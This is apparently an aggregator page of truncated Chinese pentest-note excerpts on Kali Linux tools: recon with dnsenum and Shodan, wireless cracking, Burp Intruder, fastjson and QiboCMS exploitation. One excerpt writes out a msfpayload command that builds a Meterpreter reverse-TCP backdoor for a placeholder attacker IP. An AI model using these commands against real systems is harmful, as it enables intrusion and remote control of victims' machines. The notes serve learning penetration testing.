kalilinux渗透测试笔记

【kalilinux渗透测试笔记】的更多相关文章

kalilinux渗透测试笔记

声明:本文理论大部分是苑房弘kalilinux渗透测试的内容第五章:基本工具克隆网页,把gitbook的书记下载到本地 httrack "http://www.mybatis.org/mybatis-3/zh/" -O ./books/mybatis/ -v 十一章:无线渗透工具: 无线网卡: 其实我的笔记本自带的无线网卡就很好了,完全支持aircrack-ng,因为我是物理机直接装的kali. 之前尝试过ALFA360NH,信号大大的增强了,但是不支持WPS 破解,可能是我…

kalilinux 渗透测试笔记

声明:本文理论大部分是苑房弘kalilinux渗透测试的内容第五章:基本工具克隆网页,把gitbook的书记下载到本地 httrack "http://www.mybatis.org/mybatis-3/zh/" -O ./books/mybatis/ -v 第六章: 信息收集 shodan 官网:https://www.shodan.io/ 视频教程:https://asciinema.org/~Shodan 优质文档:http://b404.xyz/2018/02/08/Sho…

metasploit渗透测试笔记(内网渗透篇)

x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. reverse_tcp/http/https => exe => victim => shell reverse_tcp windows: msfpayload windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPOR…

Web渗透测试笔记（基础部分）

信息收集: dns信息收集格式:dns... -参数域名 -参数示例: root@xxSec:~# dnsenum baidu.com root@xxSec:~# dnsenum -f dns.txt dnsserver 8.8.8.8 baidu.com(-f加字典暴力破解通过代理服务器) root@xxSec:~# dnswalk baidu.com.(检测有问题的dns,域名后面要加.结束) root@xxSec:~# dnstracer -s 8.8.8.8 baidu.com…

【i春秋综合渗透训练】渗透测试笔记

网站是齐博CMS V7.0 1.要求获得管理员密码: 利用齐博CMS V7.0 SQL爆破注入漏洞即可得到管理员用户名密码 https://www.cnblogs.com/vspiders/p/7399088.html 2.要求获得服务器管理员桌面的flag: 利用齐博CMS V7.0 后台getshell https://www.uedbox.com/post/41188/ 3.bbs.test.ichunqiu数据库中admin的salt值第 3…

fastjsion反序列化漏洞渗透测试笔记

本文原创地址:https://www.cnblogs.com/yunmuq/p/14268028.html 一.背景 fastjsion是阿里的开源Java工具:https://github.com/alibaba/fastjson 能快速地将对象序列化为json字符串,或进行反序列化其速度和效率在同类型工具中遥遥领先,但曾被曝出存在高危漏洞漏洞主要分布于1.2.68及以下的版本中,在将json反序列化为对象时,存在代码执行漏洞如果一些项目未更新到最新版本,则存在安全漏洞二.Payloa…

Brup Suite 渗透测试笔记（七）

继续接上次笔记: 1.Burp Intruder的payload类型的子模块(Character blocks)使用一种给出的输入字符,根据指定的设置产生指定大小的字符块,表现形式为生成指定长度的字符串,通常使用了边界测试或者缓冲区溢出. Base string是指设置原始字符串,Min Length是指payload的最小长度,Max length是指payload的最大长度, Setp☞生成payload时的步长,如下图就是配置之后产生的payload 2.数字类型(number)-----…